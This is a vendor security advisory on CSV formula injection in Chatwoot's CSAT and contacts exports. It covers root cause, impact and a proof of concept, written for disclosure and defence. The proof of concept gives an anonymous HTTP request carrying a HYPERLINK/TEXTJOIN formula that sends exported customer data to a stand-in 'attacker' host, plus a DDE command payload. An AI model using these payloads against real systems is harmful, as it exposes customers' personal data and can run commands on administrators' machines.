Chatwoot: CSV Formula Injection via Anonymous CSAT Feedback

A customer without an account submits a spreadsheet formula through the public CSAT survey; the administrator's CSV export contains it unchanged and sends customer data to the attacker on click.

Advisory ID: TP-2026-165
Product: Chatwoot (open-source customer support platform)
Vulnerability type: CSV formula injection (CWE-1236)
CVE: not requested
CVSS 3.1: 7.4 (High)
Affected versions: before 4.17.0 (verified live: 4.14.0)
Fixed in: 4.17.0
Reported: 20 May 2026

Summary

Chatwoot is an open-source customer support platform with a web widget, an email channel and satisfaction surveys (CSAT). The CSAT export and the contacts export write values that originate from customers into CSV files unchanged. A customer without a Chatwoot account submits a spreadsheet formula as feedback text through the public CSAT endpoint. When an administrator opens the export in a spreadsheet application and clicks the cell rendered as a link, the formula sends contents of the export, including names and email addresses of other customers, to a server of the attacker.

Root cause

In version 4.14.0, to which all line numbers refer, the CSAT download builds every row with CSV.generate_line and takes feedback_message, contact name and contact email unchanged (app/views/api/v1/accounts/csat_survey_responses/download.csv.erb:20-32).
The contacts export writes the contact fields the same way through CSV.generate (app/jobs/account/contacts_export_job.rb:23-31).
Neither location prefixes values that start with =, +, - or @ with a neutralizing character.
The csv-safe gem has been in the Gemfile since 2023, and the v2 reports such as agents.csv.erb and labels.csv.erb already render through CSVSafe; the two exports do not use it.
PUT /public/api/v1/csat_survey/<conversation UUID> accepts feedback_message without authentication and stores the value raw in csat_survey_responses.feedback_message.

Proof of Concept

PUT /public/api/v1/csat_survey/<conversation UUID> HTTP/1.1
Content-Type: application/json

{"message":{"submitted_values":{"csat_survey_response":{"rating":1,
 "feedback_message":"=HYPERLINK(\"http://attacker/?d=\"&TEXTJOIN(\";\",TRUE,A:H),\"View customer profile\")"}}}}

HTTP/1.1 200

GET /api/v1/accounts/<id>/csat_survey_responses/download?since=&until= HTTP/1.1

Agent Name,Rating,Feedback Comment,Contact Name,Contact Email,...
,1,"=HYPERLINK(""http://attacker/?d=""&TEXTJOIN("";"",TRUE,A:H),""View customer profile"")",CSAT Test Customer,[email protected],...

The formula sits in the Feedback Comment column without a leading apostrophe; a spreadsheet application evaluates it as a formula on open and shows a link. Verified on Chatwoot 4.14.0: the attacker needs no Chatwoot account, only the UUID of their own conversation from the survey link that Chatwoot sends to the customer after a ticket is resolved. The second path runs through the contacts export: an agent with the member role creates a contact named =cmd|'/c calc'!A1 through POST /api/v1/accounts/<id>/contacts, and the export contains the value raw.

Impact

  • Formulas from anonymous customer feedback appear unchanged in the CSAT export that administrators download for reporting.
  • One click on the link cell sends contents of columns A to H, including names and email addresses of other customers, to the attacker's server through HYPERLINK and TEXTJOIN; the amount per click is bounded by the maximum URL length.
  • Through the contacts export, an agent with the member role achieves the same effect against the administrator who exports the contacts.

References

Is Something Like This in Your Software?

Our team found this vulnerability during its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.